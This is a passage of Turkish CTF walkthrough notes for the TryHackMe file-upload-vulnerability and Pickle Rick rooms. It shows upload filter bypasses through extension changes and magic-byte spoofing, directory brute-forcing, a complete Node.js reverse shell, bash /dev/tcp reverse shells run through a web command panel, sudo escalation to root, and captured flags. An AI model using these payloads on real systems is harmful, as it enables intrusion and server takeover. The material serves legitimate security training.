- ve tekrar forward deyin
- dönen yanıtta http başlığında şunu görüyor olmalısınız: GET /?submit=success HTTP/1.1
- şimdide terminalde çalıştırdığımız gonuster aracına bakalım
- sonuç olarak dosya yüklendi ama nerede olduğunu bilimiyoruz
- gobuster sonucu:
/.hta (Status: 403) [Size: 285]
/.htaccess (Status: 403) [Size: 285]
/.htpasswd (Status: 403) [Size: 285]
/assets (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/assets/]
/favicon.ico (Status: 200) [Size: 1742]
/images (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/images/]
/index.php (Status: 200) [Size: 1221]
/server-status (Status: 403) [Size: 285]
- teker teker bakabilirsiniz
- ve burp suite yi artık kapatabilirsiniz
- shell.png dosyanızda ki port numarasını dinlemeye alın: nc -nlvp 1234
- ve bulduğunuz dosya ya tıklayın
- ters bağlantı onayı terminalde dinlemeye aldığınız porttan size gelecektir
- soru: /var/www/ dosyasındaki bayrak nedir?
ls /var/www ile dizin içeriğini kontrol edelim
flag.txt
html
cat /var/www/flag.txt ile bu dosyayı okuyalım
THM{NDllZDQxNjJjOTE0YWNhZGY3YjljNmE2}
- burada asıl yapılan başta png olarak oluşturduğumuz shell dosyamızı
burp suite ile araya girerek istemci filtrelemesini atlarak
dosyamızı png den php asıl istediğimiz çalıştırılabilir kod bütünü haline getirdik
- Bypassing various kinds of Server-Side filtering : Çeşitli Sunucu Tarafı filtrelemeyi atlamak
- Sunucu Taraflı Filtreleme Atlatma - 1 (File Extensions(dosya uzantıları))
- hedef web sunucusu dosya uzantı kontrolü yaparken blacklist (girlemeyce/istenmeyen/tehlikeli uzantılara izin verilmez) kullanılmış olabilir
- bizden istenen: http://annex.uploadvulns.thm/ bu websitesine shell upload etmek
- hadi siteye gidelim ve hangi uzantıyı kabul edip etmediğine bakalım
- burada komutsal bir yönlendirme var
- help komutundan yararlanabiliriz
- select : bir dosya seçer
- upload : seçilen dosyayı yükler
- chosen : seçilen dosyanın adını verir
- select yazıp enter deyin dosyanızı seçin
- chosen yazıp enter deyin ve seçilen dosyanızı görüntüleyin
- ve upload deyin dosyanızı yüklemeye çalışın
- png kabul ediyor ama php uzantısnı kabul etmiyor
- daha önce zaten shell dosyası hazılamayı görmüştük
- dosya adımızı değitirerek sırayla deneyelim
- not: php3,php4,php5 gibi yazıldığında php dosyamız yine istenildiği çalışacaktır.
- mv shell.png shell.php3
- mv shell.php3 shell.php4 invalid
- mv shell.php4 shell.php5 success
gobuster dir --url http://annex.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- şimdide gobuster ile dizib taraması yapalım bakalım dosyamız nerede
- sonunç:
/.htaccess (Status: 403) [Size: 286]
/.hta (Status: 403) [Size: 286]
/.htpasswd (Status: 403) [Size: 286]
/assets (Status: 301) [Size: 331] [--> http://annex.uploadvulns.thm/assets/]
/favicon.ico (Status: 200) [Size: 1742]
/index.php (Status: 200) [Size: 797]
/privacy (Status: 301) [Size: 332] [--> http://annex.uploadvulns.thm/privacy/]
/server-status (Status: 403) [Size: 286]
- şimdi yüklenen dosyamızın nerede olduğuna bakalım burada dikkat çeken bir dizin var: /privacy , /assests
- dosyamız http://annex.uploadvulns.thm/privacy/ dizininde
- şimdi terminalden port dinlemeyi açalım: nc -nlvp 1234
- ve sonra bu dosyayı ilgili dizinde aktif edelim
- ve terminale ters kabuk bağlantımız geldi
- şimdide bizden istene: /var/www/ içindeki bayrak nedir?
cd /var/www
ls -lh
cat flag.txt
bayrak: THM{MGEyYzJiYmI3ODIyM2FlNTNkNjZjYjFl}
- Sunucu Taraflı Filtreleme Atlatma - 2 (Magic Numbers(sihirli sayılar))
- hedef web suncusu dosya kontrolü için her zaman uzantı kontrolü yapmayabilir
- içerik türünü de tespit etmeye çalışabilir yani:
- içerik türüne göre de değerlendirme yapabilir
- şimdi bunu uygulama üzerinden görelim
- hedef web sitemize geçelim: http://magic.uploadvulns.thm
- elimizdeki shell dosyamızı deneyelim bakalım kabul ediyormu bu sırada dizin tarama işlemini de başlatabiliriz
gobuster dir --url http://magic.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- shell.php5 dosyamızı upload etmeye çalıştık fakat olmadı bizden GIF türünde bir dosya isitiyor
- biz gıf dosyasıda deneyebiliriz fakat her zaman uzantıya değil içerik türünede bakabilir
- deneyebiliriz sinız
- kendi shell.php5 dosyamızın içerik türünü: file shell.php5 ile görüntüleyebiliriz: shell.php5: PHP script, ASCII text
- içerik türü olarak PHP script olarak görünüyor yani
- uzantısına bakmayıp bu bilgiyi baz alıyor olabilir
- eğer bu kısımı GIF yani içerik türünü GIF gibi tanıtabilirsek ozaman bir sonuç elde etme şansımız olur
- bunun için: browser da cat GIF diye bir arama yapalım
- farklı kaydet diyerek indirin büyük ihtimal Download dizininde
- açmak ini: open Downloads/giphy.gif kulanın veya xdg-open Downloads/giphy.gif
- şimdi bu dosyanın içerik türünü görüntüleyin
- Downloads/giphy.gif: GIF image data, version 89a, 480 x 480 bunun gibi birşey olmalı
- içerik olarak: GIF image data görünüyor
- bunun belirlenmesi de ilk satırda oluyor fark ettiyseniz
- head -n 1 | Downloads/giphy.gif yaptığımızda:
GIF89a����*.0▒2▒ 45 7'8 -<
=#=2?8"A(C
F5J$J<&K+NF.O0▒Q&R5T)V+V9#VB*VK4[0[<%[P9^3_@(_G/aU=b8!c=%c[BeL4eeJfC+fnRg�dj8j?)kP8kwZlI0mV>nB&nD.o`GqM4rG0rU<sG,s[BsjPtP6v<vJ1v�bv�qwH.wT:wX>w_FxJ0yI2yK2zC zfLzqW{K2{O4}\B~L0~�zL3M5U9�dH�CZ@�nS����Q8�{`�X8�_B�S6�I�T:�hK��o�S1�cG�uZ�mP�[>�fH����_B��g��w�z^����P �[3�cD�jK�qS��l�lK����gH��|�vW�W"�~_�oN�b8�kH��n�tU����sL��c����pM�z[��r�_#�g8�yS�ƣ��vQ��_��w����e'�n<�X�����e�zT�Ұ��y�l-�~V��b��j�o5��}��Y�s7��f��n����v7��]��w�y;��k��q��}A���ÎbÜxĥ}�{6łFŕnǛpǻ���¡ɀ;ɇLɔeʣ~Bo΅=Ϊ�ϊIϡs�ؼѐSAү�ӗ`ԠsՎI֍E|Oش�eڑHS�ܔK�ҴޙVޥj��à��M��Z��l��N��Q��_��V��[��h��Q��{��X��T��~��b뵀���������!���X��\��c��Y��n��_��i�Ǔ��[��l��_��e��}��l��t�Ϝ��p�ŀ��z������"
NETSCAPE2.0!��,���(e���;����Б�L�q�Hq�ŋ▒+>lT�P; �c��G�bŒ�/b]�F�淛8s����?�Z�ٳ蹣��&]�4���P�J�J�իU͵�Jo]��`�:%�u,װNϦ]{�뽷p��V�ݻp��e���Z���
- şöyle bir şeyle karşılaşacağız ve GIF i ilk satırda göreceksiniz
- bu değer hedef dosyanını ilk satırı alıp (yapıştırmak için: crtl+shift+v)
- bunu alıp nano shell.php5 dosyamızı açarak en üstte <?php nin üzerine ekleyip crtl+x y enter sırayla yaptığımızda ise file ile php dosyamızı tekrar kontrol edelim
- file shell.php
shell.php5: GIF image data, version 89a, 49135 x 61373
- artık bir gıf dosyası gibi oldu
- deneme amaçlı olarak virustotalde bir deneyelim
- ve 62 de 13 yani eğer bilinçsiz kullanıcı iseniz geçmiş olsun
- başka bir yöntemde hexdecimal değerler ile oynamak: https://en.wikipedia.org/wiki/List_of_file_signatures
- öncelikle nano shell.php5 diyerek açalım ve en üst kısma: AAAA ekleyelim
- hexeditor shell.php5 ile açalım ve daha sonra en üstte şu ibareyi göreceksiniz: 41 41 41 41 41 41 => AAAAAA
- şimdi bu kısımı üstte verilen linkten GIF iyi arayarak bu sayılar ile değiştirelim => 47 49 46 38 39 61
- hexeditor shell.php5 ile açıp bunu 41 lerin bulunduğu satıra ekleyelim
- ve sonra ctrl+x enter sonra da kontrol edelim: file shell.php5: shell.php5: GIF image data, version 89a, 15370 x 28735
- hazırladığımız shelll i web sitesine yükleyelim
- ama önce nc -nlvp 1234 ile port dinlemeye alalım
- web sitesine yükleme işlemi onyalandı urlden: http://magic.uploadvulns.thm/?submit=success
- şimdide dizine geçelim ve shell i aktif edelim
- dizinimiz: /graphics
- bir sorunumuz daha var erişim iznimiz yok bu dizine :)
- şimdide dosyamızın doğrudan tam yolunu yazmayı deneyelim: http://magic.uploadvulns.thm/graphics/shell.php5
- uzantımzımız php olarak ayarlayıp yükleyip tekrar deneyelim: http://magic.uploadvulns.thm/graphics/shell.php
- ben yanlış yapmışım ayarlamarı en baştan bir gözden geçirelim:
- /etc/hosts dosmaızı ayarladık
- locate webshell php- ile php-reverse-shell dosyamızın nerede olduğunu bulduk
- cp /usr/share/webshells/php/php-reverse-shell.php . yaparak bulunduğumuz yere kopyaladık
- ve ip,port bilgileri ayarladık ip bilgisi bizim openvp ile bağlandığımız kendi ip miz port u da mevcut kalabilir
- daha sonra shell.php olarak tekrar adlandık
- iki farklı dosya içerik türünü değiştirmeyi yaptık
- daha sonra web sitesine upload ettik
- gobuster ile dizin taradık ve : /graphics dizini bulduk
- ama erişim kısıtı vardı
- nc -nlvp 1234 port dilmeme aldık
- ve bu sefer tam yol belirttik
- ve bağlantı geldi
- eğer sizde bağlatı alamadyısanız adımlarınızı kontrol edin
- veya makineye baştan başlatın yalnız sudo /etc/hosts dosyanız da en son eklediğimiz biligilerdeki ıp değerini yenisi ile değiştirmeyi unutmayın
- daha sonra gelen bağlantıda bizden istene: /var/www dizini altındaki bayrag nedir?
- bayrak: THM{MWY5ZGU4NzE0ZDlhNjE1NGM4ZThjZDJh}
- Fooling content type validation checks : içerik türü doğrulama denetimlerini kandırma
- Upload İstismar Metodolojisi
- ilk olarak hedef web sitesinde upload noktası bulmamız gerekiyor
- ikinci olarak hedef web sitesinin kabul ettiği dosya uzantısı tespit edilmeye çalışılır
- eğer istemci taraflı dosya uzantı kontrolcüsü varsa burp suite ile araya girilerek uzantı değiştirilebilir
- eğer sunucu taraflı bir kontrol varsa ozaman da php uzantılı çalışmasını sağlacak farklı yöntemler denenebilir örn: php3,php4,php5 ... gibi deneme yapılabilir
- üçüncü olarak hedef sistem dosya uzantısı yerine içerik türüne bakabilir
- bu durumda da içerik türü manipüle edilerek shell dosyası upload edilmeye çalışılabilir
- upload edilen dosya yolu her zaman karşımıza çıkmayabilir yani o anda nereye upload edildiği gösterilmeyebilir
- bu durumda da dizin tama arçları(gobuster vb) kullanılarak dizin tespiti yapılmaya çalışılır
- ve bu sayede istismas gerçekleştirilebilir
- Upload Güvenlik Açığı İstismarı
- uygulama yapacağımız web sitesi : http://jewel.uploadvulns.thm
- gideli ve bir de dosya indirmemiz gerek onu da indirelim: UploadVulnsWordlist_1593564107766.txt
- bunun içeriğinede bakalım
- indirilen dosya bir wordlist
- pekala bu uygula gerçekten zorlayıcı olacak
- işimizi kolaylaştırmak adına bu wordlist ama biz bunu kullanmadan web site üzerinde inceleme yaparak yapcağız
- bunu akabinde bu dosyaya benzer bir dosyayı kendimiz hazırlayacağız
- şimdi hedef domain adresini inceleyelim: http://jewel.uploadvulns.thm
- ek olarak firefox umuza yani kendi browser ımıza wappalayzer eklentisi için: https://addons.mozilla.org/tr/firefox/addon/wappalyzer/
- gidelim ve ekleyelim
- bu eklenti bize wen site teknolojisi hakkında bilgi verecek
- ve sayfayı yenileyelim kurulumdan sonra ve kendi web sitemize gidelim
- bu web sitesinin programlama dilinin node.js olduğunu görüyoruz
- önceki eğitimlerde php ile programlanmış web sitelerini hack lemiştik
- ama bu node.js ile kullanıldığından buna uygun shell kullanmamız gerekiyor
- sitemiz: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs
- buradaki NodeJS olan kodları kullanacağız
şunu:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
- ters bağlantı almak için, port ve ip bilgisini değiştirmeyi unutmayın (ip bizim ip miz)
- şimdi touch shell.js adında bir dosya oluşturalım ve bu kodu oraya yapıştıralım
- şimdi websitesinin de kkabul ettiği dosya uzantısına bakalım
- jpg uzantısını kabul ediyor
- o halde js uzantılı dosyamızı jpg olarak değiştirelim ve burp suite de araya girerek değiştiremeye çalışalım
- dosya formatını de değiştirememiz gerekiyor format hatası aldık bu iki farklı yöntemle yapmıştık zaten
- ben hexeditor ile yapıyoru: bu jpg buldum: FF D8 FF DB
- ve benim eklediğim: AAAA => 41 41 41 41
- file shell.jpg => shell.jpg: JPEG image data
- şimdi deneyelim
- evet dosyayı yükleyebildim
- şimdi dizin taraması yapalım:
/admin (Status: 200) [Size: 1238]
/Admin (Status: 200) [Size: 1238]
/ADMIN (Status: 200) [Size: 1238]
/assets (Status: 301) [Size: 179] [--> /assets/]
/content (Status: 301) [Size: 181] [--> /content/]
/Content (Status: 301) [Size: 181] [--> /Content/]
/modules (Status: 301) [Size: 181] [--> /modules/]
- toplamda dört dizin bulduk
- bizde ek olarak dizin tespitini web sayfası üzerinde resim olan yerlerde yapabilirz
- arka planda javascritp olduğunda herhabgi birdizin tespiti yapamadık (ctrl+u)
- şimdide bu javascript dosyasına bakmak için sağ tıklayıp inpect tarfına da bakmamız gerek
- inspector kısmında body , class="backround" tıkladığınızda bir pencere açılır
- burada /content dizininde bir resim dosya olduğunu görüyoruz
- diğerlerine de bakalım:
/content/ABH.jpg
/content/LKQ.jpg
/content/SAD.jpg
/content/UAD.jpg
- buna göre bizde kendi ayarladığımız shell dosyamızı yeniden adlandıralım: mv shell.jpg AAA.jpg
- ve web sitesine gönderelim
- burada göze ilk çarpan ise herpsi buyuk harf ve üç karakterkli jpg dosyaları olduğu
- bu kasıt olark da yapılmış olabilir veya sisteme yüklenen jpg lerin üç karakterli farklı dosya isimlendirmesi de yapılıyor olabilir
- biz bu yol üzerinden gideceğiz yani:
- sisteme upload edilen şey:
- üç karakterli isim
- jpg uzantılı
- buyuk harf
- ve buna yönelil bir wordlis oluşturacağız
- bu /content dizinine doğrudan gitmek istediğimizde sayfaya doğrudan erişim yok
- ama şöyle olursa: http://jewel.uploadvulns.thm/content/UAD.jpg
- ozaman ulaşabiliyoruz
- şimdi yapacağımız şey:
- üç karakterli buyuk harflerden oluşan bir liste yapmak ve gobuster ile tespit yapmak
- bunun için: bunun için crunch aracımız var
- eğer yüklü değilse sudo apt install crunch ile yükleyin
- daha sonra: crunch 3 3 -f /usr/share/crunch/charset.lst ualpha -o wordlists.txt
- başlangıç ve bitişi üç karakter ile sınırladık
- -f ile charakter listesinin yolunu gösterdik(bu yolu locate charset.lst ile de bulabilirsiniz)
- ualpha ile sadece büyük harfler olsun dedik
- -o ile de çıktının kaydedileceği yeri gösterdik dosya olamasa o kendi oluşturur bu dosyayı
- kodu çalıştırdığınızda şu sonucu alırsınız:
Crunch will now generate the following amount of data: 70304 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17576
crunch: 100% completed generating output
- mousepad veya cat ile dosyanızı oluyun
- bu komu ile toplam satır miktarını görebilirsiniz: cat -n wordlists.txt | tail -n 1
- total 17576 satır
- şimdi bu listeyi kullanarak gonuster ile /content dizininde arama yapacağız
gobuster dir --url http://jewel.uploadvulns.thm/content/ --method GET --threads 50 --wordlist wordlists.txt --useragent "Mozilla/5.0" --extensions .jpg --timeout 10s
/ABH.jpg (Status: 200) [Size: 705442]
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
/WJV.jpg (Status: 200) [Size: 384]
- daha önce ilk dört dosyayı web sitesinden edindik
- son dosya ise bizi AAA.jpg olarak yüklediğimiz dos ve isimi değişmiş
- kendi dosyanızı kontrol edebilirisin: http://jewel.uploadvulns.thm/content/WJV.jpg
- eğer bu dosyamızı çalıştırma gibi bir şey bulursak ters bağlantı yapabilirz
- ve tabiki araştırmaya devam.
- web sitesinden dizin taramalarımızda /admin diye bir dizin var
- buna bakalım, bize: "Bir hatırlatma olarak: /modules dizininden modülleri etkinleştirmek için bu formu kullanın."
- yani /modules dizininde ki dosyaları çalıştırmak için kullanılan bir sayfa olduğunu anlıyoruz
- ve /content il /modules dizini aynı dizinde
- kendi scprit yani shell dosyamızı burada çalıştırmayı deneyebiliriz nasıl:
- biz modules dizini içerisindeyiz : ../content/WJV.jpg deneyelim
- olamadı :)
- sanırım resim olarak değerlendirdiği için çalıştırmadı
- bunun için hemen burp suite gidelim
- daha sonra yeniden shell dosyamızı gönderelim ve prox ile yakalayalım
- burada bizim dosyamızın base64 hali var
- base64, den sonrasını virgül hariç sonrasını bir sonraki tırnağa kadar alıp sağ tuş send to decoder e gönderin
- sırasıyla decode=> base64 sonra sonra da text i seçin burada daha önce eklediğimiz resim verisini silin
- daha sonra encode base64 seçin ve bu değeri kopyalayın
- proxy i ye gelin ve eski bas64 ü koyaladığınız kısmını silin ve yenisini yapıştırın
- forward diyerek yönlendirin
- ve success ifadesini gördünüz
- şimdi dosyamızı bulmamız için yine gonuster kullanalım:
gobuster dir --url http://jewel.uploadvulns.thm/content/ --method GET --threads 50 --wordlist wordlists.txt --useragent "Mozilla/5.0" --extensions .jpg --timeout 10s (eğer hata alırsan threads düşürürsün 30 -40 arası iyidir bilmediğin değer varsa pass geç yada araştır)
size düşük olanlar bizim dosyalarımız
veya boyutunuda kendiniz de bakarak doğrulayabilirsiniz
benim kisi 384byte 4 karakter sildim 380byte düştü mesela
/ABH.jpg (Status: 200) [Size: 705442]
/BCI.jpg (Status: 200) [Size: 384]
/GWA.jpg (Status: 200) [Size: 380] en son burp suite ile değişerek giden dosyamız
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
/WJV.jpg (Status: 200) [Siz
- şimdi tekrar deneyelim: ../content/GWA.jpg
- evet bağlantıyı aldık :D
- şimdi sorumuzu yanıtlayalım: /var/www dizini altındaki bayrak nedir? : THM{NzRlYTUwNTIzODMwMWZhMzBiY2JlZWU2}
- bir görevi daha bitirdik :D
23.Study: ' Pickle Rick
- bu kısımda bir web uygulamasından sunucuya sızma konusunu ele alacağız
- elimizde sadec bir ip adresi var ve bugibi durumlarda nmap aracını kullanırız ki çalışan servis ve açık port ları görmek için
- nmap -sV 10.10.127.43 ile port tarama işlemini yapabiliriz
- sonuç:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- hedefimizin aktif olduğunu ve 22(ssh),80(http) portlarının/servislerinin çalıştığını öğrendik
- 80 port üzerinden devam edersek bunun bir web uygulaması olduğunu anlamış olduk
- browser da ilgili adrese gidelim: http://10.10.127.43:80
- şimdide keşif adımdarından web site keşif ve genel incelemesi yapalım
- bu sayfanın kaynak kodu ile başlayalım: ctrl+u
- bu kaynak kodlarında web geliştiricilerinin kendileri için bırakmış olduğu ip ucları vb. şeyleri unutumuş olabileceğinden buralara bakmak çok önem arz eder
- burada gelişricinin kendisine bir not bıraktığını görüyoruz: username: R1ckRul3s
- şuan için bizim gördüğümüz tek bir sayfa var ama link verilmemiş sayfalar da olabilir
- bunun için dirb aracını kullanacağız. normalde link verlilmemiş diğer bağlantılı sayfaları bulmak için kullanılan bir araç
dirb http://10.10.127.43/
bu araç normal web sitesindeki bağımsız olarak kendisi şu adresteki //usr/share/dirb/wordlists/common.txt wordlis i kullanarak arama yapmaya çalışıyor
yani bir şekilde sunucuya eklenmiş sayfaları bulmayı amaçlıyoruz
sonuç:
==> DIRECTORY: http://10.10.127.43/assets/
+ http://10.10.127.43/index.html (CODE:200|SIZE:1062)
+ http://10.10.127.43/robots.txt (CODE:200|SIZE:17)
+ http://10.10.127.43/server-status (CODE:403|SIZE:277)
veya:
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirb/wordlists/common.txt --useragent "Mozilla/5.0" --timeout 10s
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --useragent "Mozilla/5.0" --timeout 10s
- şimdi bu bulgular neticesinde her bir linki incelememiz gerekiyor
- /robots dizinin de anlam veremediğimiz bir sonuç var : Wubbalubbadubdub
- web sayfalarında elde edilen her bir bilginin kullanım yeri mutlaka vardır ve gereksiz veya anlamsız birşey yoktur yani illaki bir anahtar kilit uyumu bunur
- yeri geldiğin bize anlamsız gelen ifadenin bir karşılığı olduğunu düşünerek eleme yöntemini deneme yanılma ile yaparız
- bura bulduğumuz bilgiyi parola olarak değerlendireceğiz şuan için ve elimizde zate bir kullanıcı adı mevcut
- bir de yönetim paneline ihtiyacımız var
- dirb arcına -X ekleyerek .php ile web uygulamasının programlandığı dili uzantı olarak verirsek burada gerçekleştirmiş olduğu aramaları php uzantısı ile arayacak
dirb http://10.10.127.43/ -X .php veya dirb http://10.10.42.217/ -a "Mozilla/5.0" -X .php -S
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirb/wordlists/common.txt --extensions .php --useragent "Mozilla/5.0" --timeout 10s
veya
gobuster dir --url http://10.10.42.217 --method GET --threads 50 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --extensions .php --useragent "Mozilla/5.0" --timeout 10s
veya
bu dosyayı kullanalım daha iyi ve hızlı: usr/share/dirb/wordlists/common.txt
- dirb aracı eğer -z 10000 = 10saniye eğer dirb i sınırlamazsanız gerçek tarama da engel yiyebilirsiniz çünkü dirb mümkün olan en hızlı şekilde tarama yapar
- ben bu kısımda gobuster i daha çok beğeniyorum :)
- işmdi çıktımıza bakalım:
- yine bize üç sayfa buldu
dirb arcımız ile:
+ http://10.10.42.217/denied.php (CODE:302|SIZE:0)
+ http://10.10.42.217/login.php (CODE:200|SIZE:882)
+ http://10.10.42.217/portal.php (CODE:302|SIZE:0)
- 302 code lu sayfaların login.php sayfasına geçiçi yönlendirmesi var sanırım bakalım
- evet loing.php
- girelim ve elimizde bilgileri hatırlayalım:
- kullanıcı adı için: R1ckRul3s
- ve parolo olarak düşündüğümüz: Wubbalubbadubdub
- bakın bu bilgiler bizi: http://10.10.42.217/portal.php dizinine ışınladır :) neymiş web de sağda solda kıyıda köşede bulunan her bir kırıntı değerlidir !!!!!!!
- yönetim panelinde sade bir komut paneli görüyoruz
- biz parolayı tutturduk ama olmasaydı farklı wordlist ler kullanarak bunu bulmaya çalışacaktık
- en temel olark ls komutu yazınca:
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
- bu dosyları görğyoruz
- pwd komutu ile şuan: /var/www/html dizinin de olduğumuzu görüyoruz
- her komut çalışmayabilir. örn: cat Sup3rS3cretPickl3Ingred.txt yaptığımızda
- cat komutunu kullanamıyoruz yani bu komuta erişim engeli getirmişler
- şimdi bu komut satırında sunucu ya erişmeye çalışacağız
- yani bu komut penceresi ile kendi kali aracımız arasında bağlantı kurmayı deneyelim
- terminali açın
- bu web sitesinde çalıştırılan her komut web sunucusunda çalıştırılıyor
- dolayısıyla bizde bu yolla kendi makinemize bağlantı alabiliriz
- ve yetki yükselterek daha fazla komut çalıştırma şansımız var
- terminalimizde nc -nlvp 9090 portunu dinlemeye alalım
- şimdi yapacağımız işlem hem elinizin altında hemde aklınızda bulunması gereken bir komut
web sitesinde komut paneline geçelim
bash -c 'bash -i >& /dev/tcp/<openvpn ile bağlandığımız kendi ip adresimizi yazalım>/dinlemeye aldığımız port
bash -c 'bash -i >& /dev/tcp/10.9.2.12/9090 0>& 1'
bu komut hedef web sitesinin komut satırı erişimini bizim kali ye gönderecek olan komut satırıdır
şimdi yazıp enter dedikten sonra kendi kalimizde terminale bağlantı gelmiş olacak
yetkimizi kontrol edelim: whoami
www-data
bu adımdan sonra ilk olarak yetki yükseltmesine geçilmesi gerekiyor bunun için de
sudo -l ile yetki sahibi olanları listeleyelim
User www-data may run the following commands on ip-10-10-42-217:
(ALL) NOPASSWD: ALL
yani tüm kullanıcıların parolasız bir şekilde tüm yetkiye sahip oldukalarını görüyoruz
sudo bash dedikten sonra whoami yazın
artık root yetkisine sahibiz
ve artık sistemin tamamında gezebilir inceleme yapabilir veya değiştirip silebiliriz
şimdi sorulara gelelim:
Rick'in ihtiyacı olan ilk malzeme nedir?
ilk olarak şu dosyadan başlayalım: Sup3rS3cretPickl3Ingred.txt
cat Sup3rS3cretPickl3Ingred.txt => mr. meeseek hair
bulduk.
Rick'in iksirindeki ikinci malzeme nedir?
ilk olarak cat clue.txt => diğer dosya sistemlerine bakmamızı söylüyor
o halde kök dizine çıkalım öncelikle: cd /
ls ile listeleyelim
/home dizinine girip bakalım: cd /home
ls -l
rick
ubuntu
cd rick
ls -l
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
bu bir dosya (-rwxrwxrwx en baştaki tire dosya demek) ama lap diye açamayız yöntemiz var:
y1: cat "second ingredients" => 1 jerry tear
y2: cat second\ ingredients => 1 jerry tear
bulduk
Son ve son madde nedir?
bir de root dizinine bakalım
cd /root
ls -l
-rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
drwxr-xr-x 4 root root 4096 Jul 11 10:53 snap
cat 3rd.txt => fleeb juice
bulduk
Yorumlar